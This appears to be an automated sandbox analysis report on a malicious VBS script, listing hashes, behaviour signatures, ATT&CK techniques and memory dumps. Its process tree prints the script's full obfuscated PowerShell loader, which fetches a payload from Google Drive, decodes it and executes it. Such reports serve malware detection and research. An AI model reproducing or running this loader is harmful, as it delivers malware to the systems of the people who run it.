d01c34d940384b18592692a86adb5756b2704293ec6d2d67253a617dfba8c2ea

General

Target

d01c34d940384b18592692a86adb5756b2704293ec6d2d67253a617dfba8c2ea.vbs
Size

165KB
MD5

fa0c7a4d3ee0622cf24611ff4757dc7e
SHA1

e4534066d5a1e3b7a24fbbcf8c063617eef3be6e
SHA256

d01c34d940384b18592692a86adb5756b2704293ec6d2d67253a617dfba8c2ea
SHA512

88d37333926db195530687486945dbf6639009692d85ed38de7caee9341d42aafd0cb88394ff95d0478695e2207f051ab8fa273eaeb9391a00335da5dd1988ad
SSDEEP

3072:s24yENVBkYr4LhpVXpKnupn8kH3DPbkhZi3eNRHTOXhtqbexwW/gqJCcdb+VVGK:s24yENVOY0NpVXpK68kH3DPbkhZi3eNZ

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	1932	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2676	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1932 wrote to memory of 2676	1932	WScript.exe	28
PID 1932 wrote to memory of 2676	1932	WScript.exe	28
PID 1932 wrote to memory of 2676	1932	WScript.exe	28
PID 2676 wrote to memory of 952	2676	powershell.exe	30
PID 2676 wrote to memory of 952	2676	powershell.exe	30
PID 2676 wrote to memory of 952	2676	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d01c34d940384b18592692a86adb5756b2704293ec6d2d67253a617dfba8c2ea.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Quadrigeminous Skriftfontens Micheles #>;$Samspillene=(cmd /c set /A 115^^0);Function Carruthers80 ([String]$Skemalagde){$Samspillene=[char][int]$Samspillene;$Basilian=$Samspillene+'ubstring';$Bibliophagic=8;$remarshaling=Degradhvr($Skemalagde);For($Melike=7; $Melike -lt $remarshaling; $Melike+=$Bibliophagic){$Itinerated=$Skemalagde.$Basilian.Invoke($Melike, 1);$Engenderer=$Engenderer+$Itinerated;}$Engenderer;}function Hyracodon195 ($polygenes){. ($Hadj) ($polygenes);}function Degradhvr ([String]$Forpagtnigsafgifts){$Empall=$Forpagtnigsafgifts.Length-1;$Empall;}$Produktudviklerens=Carruthers80 'TirreheTAfmrkenr StrengaAnnaliznHumanoisTarpapefBosqueteUncleanrMetodikrCentraliDummyspnVamo segDia.yse ';$Torpedojageres=Carruthers80 ' Stude h Pandert Passartosci atpEncephas Aero,o:.pprizi/Causest/tecomindLoculatr MolucciTilmeldvS atteae ,ldest.Undertrg FortryoKontradoWavelligsid,roslCudgelieLasssch.AerotrocSkiffl,oMakrokamSand,ko/SammenbuDagesmac I onne?BasketmeUnfossix Trykkop SlgtssoOkker urErgotertMedleve=LntrinndFimrembo astraew EntoplnA,enochlPhotophoDrouthbaSte,klvdincrue,& ,ordeci MongoldUnch rm=Teate,e1PlantroU AcidopdSebatst8Skrlni G GrundpCSwippero Hydr.pZAsa.viroPejlevooBugoutumdellaafN Desavo7RemonceF storvi8VenditaCOverf.lWSgemnst2Untel.c1 arkivenToningsiKongreszTitoistB Appoin_Verdslin B,rdey1 Forma nAmblyacn Misl.kxBehandlIEm erguqAmontilpNo occugIndledu ';$Hadj=Carruthers80 'KknerneiIn.laanePentecoxSk.nger ';$Biliferous=Carruthers80 'du.kelt$ S.inalgSt immelSubventoFi,romab SkaansaBoggi,rlPinxove:Forlag.Aindbla.a Sedimel GruppenGrundvedSidstnii FlyndenOmrok rgS.ipatoePre,arinBilledreMin.etts Despat Plumpe=Vaaben. KidvidsS Udrmmetlust,ckaRuss,rerResedaetov tely- FurnitBDo.gingiBverlamtbog.amlsPris.pgTAttitudrHjerteoa meltenKo.torhsBalladefDec.denelog ingr Raabaa Trvetri-Grotes.STr,mulaoAesculau Handl rLsre,esc CounteeScutige Fortrng$Cell meTVeninaso Ma basrJibsstapThamnideBrdrepad UnasthoOziassujPluminea EjendogClouetse MyoserrKirketieT xaceosS,itwis Slamsug-A.restoDForlbsmeUdtrrins kabnit UnderdiProduktnHovedtyaDe sammt awnerbiGossypioSa,menrnPlanlgg Li,ero$AilltaiS Praesty SurmulnSpri htk BummiloUndertvpHulslebeUnderlo ';Hyracodon195 (Carruthers80 'Entrepr$ TandklgArmerinlSnefogsoSha.ilybrep,weraHandiwoluri ote:B,reaukSSkatteayBrandfrnOrthorrk SupersoN nbusipLaniardeImprop,=Sav.nes$SouthroeNettetmn Ru rsav Fak.ur:flexor.a UnviripStrejftpPromenadTeleudsaForingetJurispra Studfl ') ;Hyracodon195 (Carruthers80 'SvenskeIOrgastimGenfrdep MelodroSaffronr AirifitSpadefo-IchthyiMdejligeoSpau.dedrikishauSpe,iallpantropeSideste FilmskuB extifiProsph.tCeruttesfodboldT JugulurKanutteaEx rcisn kasvalsSoute,sf AdessieHickycorGennema ') ;$Synkope=$Synkope+'\Lnsums.Unb' ;Hyracodon195 (Carruthers80 'For.agt$Riemanng Fa ebalUtilfreoS ervevb LysaaraAfmr.nilW.nhapo:StonyheRM,nogeneResumeelSvagelia Ba.dehtSomeoneiVal tacvBlackbaiMarsicrtTiltrkneConfountDamagedsEmbryoptVedl.geeTelnetko.orallrr SignetiAl,nease ,pithynBur,sia2Ejendo.=Hepato (Caesa,iTResawnpe awthorsStvningtFlagge,-UskadelPBlue,staStarchetBevoksehOsteom. Fruggan$FunilifSsegnefryForsvarnGrnts.gkVrtstypoSkovhugpMic.odee Ihndeh)Sm,glin ') ;while (-not $Relativitetsteorien2) {Hyracodon195 (Carruthers80 'Oubli.tIGribfutfEfficac Dialekt( Smigre$ FremraANetvrksaPaternolEkskommnProblemdBiologiiBoothosnFaktotug SmigreeUnderf,nMilitrmeFlygt.isRvepels. uckledJLitigaboRationebSensoriSAdenantt SmitteaVejdie,tEndamebeBunkevi over.ig-Lynet ee FakturqUnchron Travers$ Abbre PSilencerBrndstooPalstindFilch.ru Greyi.k,ongesktRad rknuAggr ssdRoadstevGenit ai Kherwakbl,ndeal.emperaeRacketerCesiumseRe.utfinFatalissLavtrin)ambulan Bygsuk{Charm,nS Bluerat,ngendua AtomborList,fotSlvrven-Ru downSTicktaclMul,ifie slingseSysselepGodkend Flugtsk1 ,eleki}BlotlggeFyrstesl BeskftsSough,aeOrdforb{TegnsprS Fillett.lokadeaMedlemmrAne.baat Wawlin- OctonaS.rypstel Protohe In,rageHarmlsepOpdig,e Prebetr1Silipa ;AfgrdevHI,diadeyDeweylirNondeviaUnders,cEscalieo omportdRot.ndeo MercurnHeream,1Neddykk9Supermo5s angsm Ganging$Co.mutaBV,llainiunassail Evangei leidof salam.eBrnesderH,miazyoDi kettuLiddenssPr loca}Eneuhe. ');Hyracodon195 (Carruthers80 'Arbejds$ Fetichg Ca rinl Komp soe,pressb Tommina HrerrelOm.rejn:S.issorRAz,terieNyfd,rel CirculaKatteletLecith.i SportlvRaci teiEnt,celtUopstteeSeraphitFedtholsAfteroatPsoaiuneSeverizoBilfabrrmicrocoiAfgudste SpitzenElgkoen2Mutativ= Reggat(BalloonT Opa eseQuirtsbsTtte,cotLennart-Exin exPvrighe.aBuledentSlumarbhSka nso Skifter$StandplSS.ksberyNon.escn EneherkCycloidoLokalnepDolknine Trstet)Fractio ') ;}Hyracodon195 (Carruthers80 'J.ersim$Centimeg Agapipl T,pperoTibetanbLemersaaHjredell ensp,o: ShanghsSvedkirdbyttehaeEl,giacbHaffletaConservd N nabs Cheapis=Mande.l OnychopGjannpe.e,onadsktCuculus-KompendCBhmerenoPreplotnUndishet Anon.meFjerritnramage.tEngelin Sta.ige$ArthrocSProsopoyPuslel nAarhundkGeoducko Solurep Stenoge Tilery ');Hyracodon195 (Carruthers80 'Botulin$HaandplgGues,tilSkewersoColligabUpa redaRema lslOmnivar:BananskERensem m AktivimSkrllekeSygejounDanse ut,niplebaAphoniclUncomme Buraoc=Ud.idel Skikkel[KvantumS M ndacy stanissFolkesotAntrosceAtoniesmKatjann.sagsbehCVolplanoSakri.tnModstniv ArtilleRheologrDizensot Adress] anthi:Omgangs:SolskolFProverbr,nloyalo Ov rtam SchoolBDirgiepaDykningsPli,tmeeW wenoc6G,undej4BlgelngSSphygmotkbmandsrPrentu i M.tazoninterpogInkwrit(Rachiti$Mant sps PeakeddHypo,ote,uickwobAntedataUnobviadSalvoes)Unple,s ');Hyracodon195 (Carruthers80 'Drivhju$Pre ertgInnerwilmant sso ombyttbTuschenaSummemdlTo ashi:CorpselF ateriaoheterosl UnderdkSkovsave Som,lirO,erfriecannelot,nledetl Engem.iAerol tgkopierpeSrutifu Kikker,=Postora Anisoga[ seacocSAdvertoySauru.as Bon.iet,ethylaeFlodsenm,ilbliv.D,basicTGurjunaeDaybeamx algschtSpidsni.Unde,reESepticinabalaticTransmio AfskeddSidioniiImpossinunmimetgTmmerfo]Gop.esr: Cervic: DecoloAVandrotSfal.oniC GangstIH.rtsmaISemipur.Sw epagGTeksth,e Reacqut reemptSOphicletPrairier bushmaiTupperinUddatasgGerbera(Karte l$SocialdE VexingmDehumidmKets,ereGabblinnStenotet.ontrolaBryggenlUnderc,)Medimno ');Hyracodon195 (Carruthers80 'Jerrikf$ AfviklgFondueglExpur ao.arolabbInterv.aSymbiotl Reprop:UncontePCharmw.a SkrddekSti.lstkPostjugeOprulnifAuthorioImitaterTaram,ss FyringeSololien,nderskdChaqueteCapsulalGaetulasSub olyeTalkingnKonkursshastive=Re.ions$F rveatF TraeeroKursusflVrdipapkPadderoeMo ellerStvf,ugeLimetopt Tor,ehl BronchiAquamargModernie Falbel. Autopss KaffefuSylfessbUncouchsDyndurtt ontrovrImmatchi FuldsknMsdybstgscrappl(Corepre2Outdraw9Tremorw4Stupd k9Yakred.7 Lrvill5 athops,Cou,cil3 ,edial1Hjerte,6Hypophy5Stau,ol3Til.ris)Expansi ');Hyracodon195 $Pakkeforsendelsens;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c set /A 115^^0
    3⤵
    PID:952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2676-21-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2676-23-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/2676-24-0x00000000026C0000-0x0000000002740000-memory.dmp

Filesize
512KB

Download
memory/2676-22-0x00000000026C0000-0x0000000002740000-memory.dmp

Filesize
512KB

Download
memory/2676-25-0x0000000001F90000-0x0000000001F98000-memory.dmp

Filesize
32KB

Download
memory/2676-27-0x00000000026C0000-0x0000000002740000-memory.dmp

Filesize
512KB

Download
memory/2676-26-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2676-28-0x00000000026C0000-0x0000000002740000-memory.dmp

Filesize
512KB

Download
memory/2676-29-0x0000000002950000-0x0000000002972000-memory.dmp

Filesize
136KB

Download
memory/2676-30-0x00000000024D0000-0x00000000024E2000-memory.dmp

Filesize
72KB

Download
memory/2676-31-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2676-32-0x00000000026C0000-0x0000000002740000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing